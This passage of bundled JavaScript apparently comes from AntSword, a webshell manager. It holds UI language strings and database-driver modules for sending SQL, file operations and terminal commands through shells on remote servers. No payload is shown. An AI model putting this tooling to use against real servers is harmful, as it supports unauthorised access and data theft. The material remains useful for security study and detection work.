error: function error(err) {
return '間違いました:' + err;
}
},
success: function success(path) {
return 'ファイルの成功をアップロード！<br/>' + path;
},
error: function error(path, err) {
return 'ファイルをアップロードし、[' + path + ']は失敗しました！' + err;
}
},
folder: {
title: 'ディレクトリのリスト'
},
files: {
title: 'ファイルリスト',
bookmark: {
add: 'ブックマークに追加',
del: 'ブックマークを削除します',
clear: 'クリアしおり'
},
toolbar: {
new: '新',
folder: 'ディレクトリ',
file: 'ファイル',
wget: 'Wgetのダウンロード',
upload: 'アップロード',
up: '上層',
refresh: '晴らす',
home: 'ホーム',
bookmark: 'マーク',
read: '読みます'
},
prompt: {
add: {
title: 'ブックマークに追加',
success: function success(path) {
return 'ブックマークの成功を追加！<br/>' + path;
}
},
remove: {
title: 'ブックマークを削除します',
confirm: 'このブックマークを削除してください？',
success: 'ブックマークの成功を削除します！'
},
clear: {
title: 'クリアしおり',
confirm: '[OK]をクリアすべてのブックマーク？',
success: 'すべてのブックマークの成功クリア！'
}
},
grid: {
header: {
name: '名前',
time: '期日',
size: 'サイズ',
attr: 'プロパティ'
},
contextmenu: {
paste: {
title: 'ファイルの貼り付け',
all: 'すべてのリスト',
clear: {
title: '一覧をクリアします',
info: '空のクリップボード'
}
},
preview: 'プレビュードキュメント',
edit: 'ファイルを編集します',
delete: 'ファイルを削除します',
rename: 'ファイル名の変更',
refresh: 'ディレクトリを更新',
wget: 'WGETダウンロード',
upload: 'ファイルをアップロード',
download: 'ファイルのダウンロード',
modify: '変更ファイルの時間',
copy: {
title: 'ファイルのコピー',
warning: function warning(id) {
return 'これは、クリップボードに追加されました！<br/>' + id;
},
info: function info(id) {
return 'クリップボードにファイルを追加します。<br/>' + id;
}
},
create: {
title: '新',
folder: 'ディレクトリ',
file: 'ファイル'
}
}
}
},
editor: {
title: function title(path) {
return 'エディタ: ' + path;
},
toolbar: {
save: '保存',
mode: 'ハイライト',
encode: 'コーディング'
},
loadErr: function loadErr(err) {
return '読み込みエラーファイル！<br/>' + err;
},
success: function success(path) {
return 'ファイルの成功を節約！<br/>' + path;
},
error: function error(path, err) {
return 'ファイルを保存し、[' + path + ']に失敗しました！' + err;
}
},
tasks: {
title: 'タスクリスト',
grid: {
header: {
name: '名前',
desc: '簡単な紹介',
status: '地位',
stime: '作成',
etime: '完了時間'
}
}
},
download: {
title: 'ファイルのダウンロード',
task: {
name: 'ダウンロード',
wait: 'ダウンロードするための準備',
cancel: 'ダウンロードをキャンセル',
start: 'ダウンロードを開始します',
success: '成功をダウンロード',
error: function error(err) {
return 'エラー:' + err;
}
},
error: function error(name, err) {
return 'ファイルのダウンロード[' + path + ']エラー！<br/>' + err;
},
success: function success(name) {
return 'ファイルのダウンロード[' + path + ']成功！';
}
}
}
};
/***/ },
/* 72 */
/***/ function(module, exports) {
'use strict';
//
// language::zh
//
module.exports = {
title: '中国蚁剑',
toastr: {
info: '提示',
error: '错误',
warning: '警告',
success: '成功'
},
menubar: {
main: {
title: 'AntSword',
about: '关于程序',
plugin: '插件中心',
settings: '系统设置',
language: '语言设置',
update: '检查更新',
quit: '退出程序'
},
shell: {
title: '数据',
add: '添加数据',
search: '搜索数据',
dump: '导出数据',
import: '导入数据',
clear: '清空数据'
},
edit: {
title: '编辑',
undo: '撤销',
redo: '重做',
cut: '剪切',
copy: '复制',
paste: '粘贴',
selectall: '全选'
},
window: {
title: '窗口',
next: '下个窗口',
prev: '上个窗口',
close: '关闭窗口'
}
},
shellmanager: {
title: '列表管理',
contextmenu: {
terminal: '虚拟终端',
filemanager: '文件管理',
database: '数据操作',
add: '添加数据',
edit: '编辑数据',
delete: '删除数据',
move: '移动数据',
search: '搜索数据',
plugin: '加载插件',
pluginCenter: '插件中心',
clearCache: '清空缓存',
clearAllCache: '清空所有缓存'
},
category: {
title: '分类目录',
default: '默认分类',
toolbar: {
add: '添加',
del: '删除'
},
add: {
title: '添加分类'
},
del: {
title: '删除分类',
confirm: '确定删除此分类吗？（数据将清空）',
success: function success(category) {
return '成功删除分类（' + category + '）！';
},
error: function error(category, err) {
return '删除分类（' + category + '）失败！<br/>' + err;
}
}
},
list: {
title: '数据管理',
grid: {
url: 'URL地址',
ip: 'IP地址',
addr: '物理位置',
ctime: '创建时间',
utime: '更新时间'
},
add: {
title: '添加数据',
toolbar: {
add: '添加',
clear: '清空'
},
form: {
url: 'URL地址',
pwd: '连接密码',
encode: '编码设置',
type: '连接类型',
encoder: '编码器'
},
warning: '请输入完整！',
success: '添加数据成功！',
error: function error(err) {
return '添加数据失败！<br/>' + err;
}
},
edit: {
title: function title(url) {
return '编辑数据（' + url + '）';
},
toolbar: {
save: '保存',
clear: '清空'
},
form: {
url: 'URL地址',
pwd: '连接密码',
encode: '编码设置',
type: '连接类型',
encoder: '编码器'
},
warning: '请输入完整！',
success: '更新数据成功！',
error: function error(err) {
return '更新数据失败！<br/>' + err;
}
},
del: {
title: '删除数据',
confirm: function confirm(len) {
return '确定删除选中的' + len + '条数据吗？';
},
success: function success(len) {
return '成功删除' + len + '条数据！';
},
error: function error(err) {
return '删除失败！<br/>' + err;
}
},
move: {
success: function success(num) {
return '成功移动' + num + '条数据！';
},
error: function error(err) {
return '移动数据失败！<br/>' + err;
}
},
clearCache: {
title: '清空缓存',
confirm: '确定清空此缓存吗？',
success: '清空缓存完毕！',
error: function error(err) {
return '清空缓存失败！<br/>' + err;
}
},
clearAllCache: {
title: '清空缓存',
confirm: '确定清空所有缓存数据吗？',
success: '清空全部缓存完毕！',
error: function error(err) {
return '清空全部缓存失败！<br/>' + err;
}
}
}
},
terminal: {
title: '虚拟终端',
banner: {
title: '基础信息',
drive: '磁盘列表',
system: '系统信息',
user: '当前用户',
path: '当前路径'
}
},
filemanager: {
title: '文件管理',
delete: {
title: '删除文件',
confirm: function confirm(num) {
return '你确定要删除 ' + (typeof num === 'number' ? num + ' 个文件' : num) + ' 吗？';
},
success: function success(path) {
return '删除文件成功！<br/>' + path;
},
error: function error(path, err) {
return '删除文件 [' + path + '] 失败！' + (err ? '<br/>' + err : '');
}
},
paste: {
success: function success(path) {
return '粘贴文件成功！<br/>' + path;
},
error: function error(path, err) {
return '粘贴文件 [' + path + '] 失败！' + (err ? '<br/>' + err : '');
}
},
rename: {
title: '重命名',
success: '重命名文件成功！',
error: function error(err) {
return '重命名文件失败！' + (err ? '<br/>' + err : '');
}
},
createFolder: {
title: '新建目录',
value: '新目录',
success: function success(path) {
return '新建目录成功！<br/>' + path;
},
error: function error(path, err) {
return '新建目录 [' + path + '] 失败！' + (err ? '<br/>' + err : '');
}
},
createFile: {
title: '新建文件',
value: '新文件.txt',
success: function success(path) {
return '新建文件成功！<br/>' + path;
},
error: function error(path, err) {
return '新建文件 [' + path + '] 失败！' + (err ? '<br/>' + err : '');
}
},
retime: {
title: '更改时间',
success: function success(path) {
return '更改文件时间成功！<br/>' + path;
},
error: function error(path, err) {
return '更改文件时间 [' + path + '] 失败！' + (err ? '<br/>' + err : '');
}
},
wget: {
title: 'Wget下载文件',
check: 'URL地址不正确！',
task: {
name: 'WGET下载',
start: '开始下载..',
success: '下载成功！',
failed: function failed(ret) {
return '失败:' + ret;
},
error: function error(err) {
return '错误:' + err;
}
}
},
upload: {
task: {
name: '上传',
failed: function failed(err) {
return '失败:' + err;
},
error: function error(err) {
return '出错:' + err;
}
},
success: function success(path) {
return '上传文件成功！<br/>' + path;
},
error: function error(path, err) {
return '上传文件 [' + path + '] 失败！' + err;
}
},
folder: {
title: '目录列表'
},
files: {
title: '文件列表',
bookmark: {
add: '添加书签',
del: '移除书签',
clear: '清空书签'
},
toolbar: {
new: '新建',
folder: '目录',
file: '文件',
wget: 'Wget下载',
upload: '上传文件',
up: '上层',
refresh: '刷新',
home: '主目录',
bookmark: '书签',
read: '读取'
},
prompt: {
add: {
title: '添加到书签',
success: function success(path) {
return '添加书签成功！<br/>' + path;
}
},
remove: {
title: '移除书签',
confirm: '确定移除此书签吗？',
success: '移除书签成功！'
},
clear: {
title: '清空书签',
confirm: '确定清空所有书签吗？',
success: '清空所有书签成功！'
}
},
grid: {
header: {
name: '名称',
time: '日期',
size: '大小',
attr: '属性'
},
contextmenu: {
paste: {
title: '粘贴文件',
all: '所有列表',
clear: {
title: '清空列表',
info: '清空剪贴板'
}
},
preview: '预览文件',
edit: '编辑文件',
delete: '删除文件',
rename: '重命名文件',
refresh: '刷新目录',
wget: 'WGET下载',
upload: '上传文件',
download: '下载文件',
modify: '更改文件时间',
copy: {
title: '复制文件',
warning: function warning(id) {
return '已经添加到剪贴板！<br/>' + id;
},
info: function info(id) {
return '添加文件到剪贴板<br/>' + id;
}
},
create: {
title: '新建',
folder: '目录',
file: '文件'
}
}
}
},
editor: {
title: function title(path) {
return '编辑: ' + path;
},
toolbar: {
save: '保存',
mode: '高亮',
encode: '编码'
},
loadErr: function loadErr(err) {
return '加载文件出错！<br/>' + err;
},
success: function success(path) {
return '保存文件成功！<br/>' + path;
},
error: function error(path, err) {
return '保存文件 [' + path + '] 失败！' + err;
}
},
tasks: {
title: '任务列表',
grid: {
header: {
name: '名称',
desc: '简介',
status: '状态',
stime: '创建时间',
etime: '完成时间'
}
}
},
download: {
title: '下载文件',
task: {
name: '下载',
wait: '准备下载',
cancel: '取消下载',
start: '开始下载',
success: '下载成功',
error: function error(err) {
return '出错:' + err;
}
},
error: function error(name, err) {
return '下载文件[' + name + ']出错！<br/>' + err;
},
success: function success(name) {
return '下载文件[' + name + ']成功！';
}
}
},
database: {
list: {
title: '配置列表',
add: '添加',
del: '删除',
menu: {
add: '添加配置',
del: '删除配置'
}
},
query: {
title: '执行SQL',
exec: '执行',
clear: '清空'
},
result: {
title: '执行结果',
warning: '操作完毕，但没有结果返回！',
error: {
database: function database(err) {
return '获取数据库列表失败！<br/>' + err;
},
table: function table(err) {
return '获取表数据失败！<br/>' + err;
},
column: function column(err) {
return '获取字段列表失败！<br/>' + err;
},
query: function query(err) {
return '执行SQL失败！<br/>' + err;
},
parse: '返回数据格式不正确！',
noresult: '没有查询结果！'
}
},
form: {
title: '添加配置',
toolbar: {
add: '添加',
clear: '清空'
},
type: '数据库类型',
encode: '数据库编码',
host: '数据库地址',
user: '连接用户',
passwd: '连接密码',
warning: '请填写完整！',
success: '成功添加配置！',
del: {
title: '删除配置',
confirm: '确定删除此配置吗？',
success: '删除配置成功！',
error: function error(err) {
return '删除配置失败！<br/>' + err;
}
}
}
},
settings: {
about: {
title: '关于程序'
},
language: {
title: '语言设置',
toolbar: {
save: '保存'
},
form: {
label: '选择显示语言',
zh: '简体中文',
en: 'English'
},
success: '保存语言设置成功！',
confirm: {
content: '重启应用生效，是否重启？',
title: '更改语言'
}
},
update: {
title: '检查更新',
toolbar: {
check: '检查'
}
}
},
plugin: {
error: function error(err) {
return '加载插件中心失败！<br/>' + err;
}
}
};
/***/ },
/* 73 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./database/asp/index": 74,
"./database/aspx/index": 75,
"./database/custom/index": 76,
"./database/index": 77,
"./database/php/index": 79,
"./filemanager/index": 80,
"./plugin/index": 85,
"./settings/index": 86,
"./shellmanager/index": 90,
"./terminal/index": 92
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 73;
/***/ },
/* 74 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {'use strict';
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 数据库驱动::ASP
// 支持数据库:access,sqlserver,mysql
//
var ASP = function () {
function ASP(opt) {
var _this = this;
_classCallCheck(this, ASP);
this.opt = opt;
this.core = this.opt.core;
this.manager = this.opt.super;
//
// * 数据库驱动列表
//
this.conns = {
'dsn': 'Dsn=DsnName;',
'mysql': 'Driver={MySQL};Server=localhost;database=mysql;UID=root;PWD=',
'access': 'Driver={Microsoft Access Driver(*.mdb)};DBQ=c:\\test.mdb',
'sqlserver': 'Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=',
'sqloledb_1': 'Provider=SQLOLEDB.1;User ID=sa;Password=;Initial Catalog=master;Data Source=(local);',
'sqloledb_1_sspi': 'Provider=SQLOLEDB.1;Initial Catalog=master;Data Source=(local);Integrated Security=SSPI;',
'oracle': 'Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;',
'microsoft_jet_oledb_4_0': 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\\test.mdb'
};
// 1. 初始化TREE UI
this.tree = this.manager.list.layout.attachTree();
// 2. 加载数据库配置
this.parse();
// 3. tree单击::设置当前配置&&激活按钮
this.tree.attachEvent('onClick', function (id) {
// 更改按钮状态
id.startsWith('conn::') ? _this.enableToolbar() : _this.disableToolbar();
// 设置当前配置
var tmp = id.split('::');
var arr = tmp[1].split(':');
// 设置当前数据库
_this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: _this.manager.opt['_id'],
id: arr[0]
});
if (arr.length > 1) {
_this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();
// 更新SQL编辑器
_this.enableEditor();
// manager.query.update(this.currentConf);
} else {
_this.disableEditor();
}
});
// 4. tree双击::加载库/表/字段
this.tree.attachEvent('onDblClick', function (id) {
var arr = id.split('::');
if (arr.length < 2) {
throw new Error('ID ERR: ' + id);
};
switch (arr[0]) {
// 获取数据库列表
case 'conn':
_this.getDatabases(arr[1]);
break;
// 获取数据库表名
case 'database':
var _db = arr[1].split(':');
_this.getTables(_db[0], new Buffer(_db[1], 'base64').toString());
break;
// 获取表名字段
case 'table':
var _tb = arr[1].split(':');
_this.getColumns(_tb[0], new Buffer(_tb[1], 'base64').toString(), new Buffer(_tb[2], 'base64').toString());
break;
// 生成查询SQL语句
case 'column':
var _co = arr[1].split(':');
var table = new Buffer(_co[2], 'base64').toString();
var column = new Buffer(_co[3], 'base64').toString();
var sql = 'SELECT TOP 20 [' + column + '] FROM [' + table + '] ORDER BY 1 DESC;';
_this.manager.query.editor.session.setValue(sql);
break;
}
});
// 5. tree右键::功能菜单
this.tree.attachEvent('onRightClick', function (id, event) {
if (!id.startsWith('conn::')) {
return;
};
_this.tree.selectItem(id);
_this.tree.callEvent('onClick', [id]);
bmenu([{
text: '添加配置',
icon: 'fa fa-plus-circle',
action: _this.addConf.bind(_this)
}, {
divider: true
}, {
text: '删除配置',
icon: 'fa fa-remove',
action: _this.delConf.bind(_this)
}], event);
});
}
// 加载配置列表
_createClass(ASP, [{
key: 'parse',
value: function parse() {
// 获取数据
var info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);
var conf = info['database'] || {};
// 刷新UI
// 1.清空数据
this.tree.deleteChildItems(0);
// 2.添加数据
var items = [];
for (var _ in conf) {
items.push({
id: 'conn::' + _,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text: conf[_]['type'].toUpperCase(),
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
});
}
// 3.刷新UI
this.tree.parse({
id: 0,
item: items
}, 'json');
// 禁用按钮
this.disableToolbar();
this.disableEditor();
}
// 添加配置
}, {
key: 'addConf',
value: function addConf() {
var _this2 = this;
var hash = (+new Date() * Math.random()).toString(16).substr(2, 8);
// 创建窗口
var win = this.manager.win.createWindow(hash, 0, 0, 450, 300);
win.setText('添加配置');
win.centerOnScreen();
win.button('minmax').hide();
win.setModal(true);
win.denyResize();
// 工具栏
var toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
text: '添加'
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: '清空'
}]);
// form
var form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: '数据库类型', readonly: true, name: 'type', options: function () {
var ret = [];
for (var _ in _this2.conns) {
ret.push({
text: _.toUpperCase(),
value: _
});
}
return ret;
}() }, { type: 'input', label: '连接字符串', name: 'conn', required: true, value: 'Dsn=DsnName;', rows: 9 }] }], true);
form.attachEvent('onChange', function (_, id) {
if (_ !== 'type') {
return;
};
form.setFormData({
conn: _this2.conns[id]
});
});
// 工具栏点击事件
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'clear':
form.clear();
break;
case 'add':
if (!form.validate()) {
return '填写完整！';
// return toastr.warning(LANG['list']['add']['warning'], LANG_T['warning']);
};
// 解析数据
var data = form.getValues();
// 验证是否连接成功(获取数据库列表)
var id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {
_id: _this2.manager.opt['_id'],
data: data
});
win.close();
toastr.success('添加配置成功!');
_this2.tree.insertNewItem(0, 'conn::' + id,
// `${data['type']}:\/\/${data['user']}@${data['host']}`,
data['type'].toUpperCase(), null, _this2.manager.list.imgs[0], _this2.manager.list.imgs[0], _this2.manager.list.imgs[0]);
break;
}
});
}
// 删除配置
}, {
key: 'delConf',
value: function delConf() {
var _this3 = this;
var id = this.tree.getSelected().split('::')[1];
layer.confirm('确定删除此配置吗？', {
icon: 2, shift: 6,
title: '删除配置'
}, function (_) {
layer.close(_);
var ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {
_id: _this3.manager.opt['_id'],
id: id
});
if (ret === 1) {
toastr.success('删除配置成功！');
_this3.tree.deleteItem('conn::' + id);
// 禁用按钮
_this3.disableToolbar();
_this3.disableEditor();
// ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem);
// this.parse();
} else {
toastr.error('删除配置失败！<br/>' + ret);
}
});
}
// 获取数据库列表
}, {
key: 'getDatabases',
value: function getDatabases(id) {
var _this4 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_databases({
conn: conf['conn'],
dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database'
}, function (ret) {
var arr = ret.split('\t');
if (arr.length === 1 && ret === '') {
toastr.warning('执行完毕，没有结果返回');
return _this4.manager.list.layout.progressOff();
};
// 删除子节点
_this4.tree.deleteChildItems('conn::' + id);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _db = new Buffer(_).toString('base64');
_this4.tree.insertNewItem('conn::' + id, 'database::' + id + ':' + _db, _, null, _this4.manager.list.imgs[1], _this4.manager.list.imgs[1], _this4.manager.list.imgs[1]);
});
_this4.manager.list.layout.progressOff();
}, function (err) {
toastr.error('获取数据库列表失败！' + err['status'] || JSON.stringify(err), 'ERROR');
_this4.manager.list.layout.progressOff();
});
}
// 获取数据库表数据
}, {
key: 'getTables',
value: function getTables(id, db) {
var _this5 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_tables({
conn: conf['conn'],
dbname: db
}, function (ret) {
var arr = ret.split('\t');
var _db = new Buffer(db).toString('base64');
// 删除子节点
_this5.tree.deleteChildItems('database::' + id + ':' + _db);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _table = new Buffer(_).toString('base64');
_this5.tree.insertNewItem('database::' + id + ':' + _db, 'table::' + id + ':' + _db + ':' + _table, _, null, _this5.manager.list.imgs[2], _this5.manager.list.imgs[2], _this5.manager.list.imgs[2]);
});
_this5.manager.list.layout.progressOff();
});
}
// 获取字段
}, {
key: 'getColumns',
value: function getColumns(id, db, table) {
var _this6 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_columns({
conn: conf['conn'],
table: conf['type'] === 'oracle' ? 'SELECT * FROM (SELECT A.*,ROWNUM N FROM ' + table + ' A) WHERE N=1' : 'SELECT TOP 1 * FROM ' + table
}, function (ret) {
var arr = ret.split('\t');
var _db = new Buffer(db).toString('base64');
var _table = new Buffer(table).toString('base64');
// 删除子节点
_this6.tree.deleteChildItems('table::' + id + ':' + _db + ':' + _table);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _column = new Buffer(_.split(' ')[0]).toString('base64');
_this6.tree.insertNewItem('table::' + id + ':' + _db + ':' + _table, 'column::' + id + ':' + _db + ':' + _table + ':' + _column, _, null, _this6.manager.list.imgs[3], _this6.manager.list.imgs[3], _this6.manager.list.imgs[3]);
});
// 更新编辑器SQL语句
_this6.manager.query.editor.session.setValue(conf['type'] === 'oracle' ? 'SELECT * FROM (SELECT A.*,ROWNUM N FROM ' + table + ' A ORDER BY 1 DESC) WHERE N>0 AND N<=20' : 'SELECT TOP 20 * FROM ' + table + ' ORDER BY 1 DESC;');
_this6.manager.list.layout.progressOff();
});
}
// 执行SQL
}, {
key: 'execSQL',
value: function execSQL(sql) {
var _this7 = this;
this.manager.query.layout.progressOn();
this.core['database_' + this.dbconf['type']].query({
conn: this.dbconf['conn'],
sql: sql
}, function (ret) {
// 更新执行结果
_this7.updateResult(ret);
_this7.manager.query.layout.progressOff();
}, function (err) {
console.error(err);
});
}
// 更新SQL执行结果
}, {
key: 'updateResult',
value: function updateResult(data) {
// 1.分割数组
var arr = data.split('\n');
// let arr = [];
// _arr.map((_) => {
// arr.push(antSword.noxss(_));
// });
// console.log(_arr, arr);
// 2.判断数据
if (arr.length < 2) {
return console.log('数据不正确');
};
// 3.行头
var header_arr = arr[0].split('\t|\t');
if (header_arr.length === 1) {
return toastr.warning('没有查询结果');
};
if (header_arr[header_arr.length - 1] === '\r') {
header_arr.pop();
};
arr.shift();
// 4.数据
var data_arr = [];
arr.map(function (_) {
var _data = _.split('\t|\t');
data_arr.push(_data);
});
data_arr.pop();
// 5.初始化表格
var grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColSorting('str,'.repeat(header_arr.length).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setEditable(true);
grid.init();
// 添加数据
var grid_data = [];
for (var i = 0; i < data_arr.length; i++) {
grid_data.push({
id: i + 1,
data: data_arr[i]
});
}
grid.parse({
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 禁用toolbar按钮
}, {
key: 'disableToolbar',
value: function disableToolbar() {
this.manager.list.toolbar.disableItem('del');
}
// 启用toolbar按钮
}, {
key: 'enableToolbar',
value: function enableToolbar() {
this.manager.list.toolbar.enableItem('del');
}
// 禁用SQL编辑框
}, {
key: 'disableEditor',
value: function disableEditor() {
var _context;
['exec', 'clear'].map((_context = this.manager.query.toolbar, this.manager.query.toolbar.disableItem).bind(_context));
this.manager.query.editor.setReadOnly(true);
}
// 启用SQL编辑框
}, {
key: 'enableEditor',
value: function enableEditor() {
var _context2;
['exec', 'clear'].map((_context2 = this.manager.query.toolbar, this.manager.query.toolbar.enableItem).bind(_context2));
this.manager.query.editor.setReadOnly(false);
}
}]);
return ASP;
}();
module.exports = ASP;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 75 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// 数据库驱动::ASPX
//
module.exports = __webpack_require__(74);
/***/ },
/* 76 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {'use strict';
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 数据库驱动::ASP
// 支持数据库:access,sqlserver,mysql
//
var ASP = function () {
function ASP(opt) {
var _this = this;
_classCallCheck(this, ASP);
this.opt = opt;
this.core = this.opt.core;
this.manager = this.opt.super;
//
// * 数据库驱动列表
//
this.conns = {
'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456',
'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:user/password@127.0.0.1:1521/test'
};
// 1. 初始化TREE UI
this.tree = this.manager.list.layout.attachTree();
// 2. 加载数据库配置
this.parse();
// 3. tree单击::设置当前配置&&激活按钮
this.tree.attachEvent('onClick', function (id) {
// 更改按钮状态
id.startsWith('conn::') ? _this.enableToolbar() : _this.disableToolbar();
// 设置当前配置
var tmp = id.split('::');
var arr = tmp[1].split(':');
// 设置当前数据库
_this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: _this.manager.opt['_id'],
id: arr[0]
});
if (arr.length > 1) {
_this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();
// 更新SQL编辑器
_this.enableEditor();
// manager.query.update(this.currentConf);
} else {
_this.disableEditor();
}
});
// 4. tree双击::加载库/表/字段
this.tree.attachEvent('onDblClick', function (id) {
var arr = id.split('::');
if (arr.length < 2) {
throw new Error('ID ERR: ' + id);
};
switch (arr[0]) {
// 获取数据库列表
case 'conn':
_this.getDatabases(arr[1]);
break;
// 获取数据库表名
case 'database':
var _db = arr[1].split(':');
_this.getTables(_db[0], new Buffer(_db[1], 'base64').toString());
break;
// 获取表名字段
case 'table':
var _tb = arr[1].split(':');
_this.getColumns(_tb[0], new Buffer(_tb[1], 'base64').toString(), new Buffer(_tb[2], 'base64').toString());
break;
// 生成查询SQL语句
case 'column':
var _co = arr[1].split(':');
var table = new Buffer(_co[2], 'base64').toString();
var column = new Buffer(_co[3], 'base64').toString();
var sql = 'SELECT TOP 20 [' + column + '] FROM [' + table + '] ORDER BY 1 DESC;';
_this.manager.query.editor.session.setValue(sql);
break;
}
});
// 5. tree右键::功能菜单
this.tree.attachEvent('onRightClick', function (id, event) {
if (!id.startsWith('conn::')) {
return;
};
_this.tree.selectItem(id);
_this.tree.callEvent('onClick', [id]);
bmenu([{
text: '添加配置',
icon: 'fa fa-plus-circle',
action: _this.addConf.bind(_this)
}, {
divider: true
}, {
text: '删除配置',
icon: 'fa fa-remove',
action: _this.delConf.bind(_this)
}], event);
});
}
// 加载配置列表
_createClass(ASP, [{
key: 'parse',
value: function parse() {
// 获取数据
var info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);
var conf = info['database'] || {};
// 刷新UI
// 1.清空数据
this.tree.deleteChildItems(0);
// 2.添加数据
var items = [];
for (var _ in conf) {
items.push({
id: 'conn::' + _,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text: conf[_]['type'].toUpperCase(),
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
});
}
// 3.刷新UI
this.tree.parse({
id: 0,
item: items
}, 'json');
// 禁用按钮
this.disableToolbar();
this.disableEditor();
}
// 添加配置
}, {
key: 'addConf',
value: function addConf() {
var _this2 = this;
var hash = (+new Date() * Math.random()).toString(16).substr(2, 8);
// 创建窗口
var win = this.manager.win.createWindow(hash, 0, 0, 450, 300);
win.setText('添加配置');
win.centerOnScreen();
win.button('minmax').hide();
win.setModal(true);
win.denyResize();
// 工具栏
var toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
text: '添加'
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: '清空'
}]);
// form
var form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: '数据库类型', readonly: true, name: 'type', options: function () {
var ret = [];
for (var _ in _this2.conns) {
ret.push({
text: _.toUpperCase(),
value: _
});
}
return ret;
}() }, { type: 'input', label: '连接字符串', name: 'conn', required: true, value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', rows: 9 }] }], true);
form.attachEvent('onChange', function (_, id) {
if (_ !== 'type') {
return;
};
form.setFormData({
conn: _this2.conns[id]
});
});
// 工具栏点击事件
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'clear':
form.clear();
break;
case 'add':
if (!form.validate()) {
return '填写完整！';
// return toastr.warning(LANG['list']['add']['warning'], LANG_T['warning']);
};
// 解析数据
var data = form.getValues();
// 验证是否连接成功(获取数据库列表)
var id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {
_id: _this2.manager.opt['_id'],
data: data
});
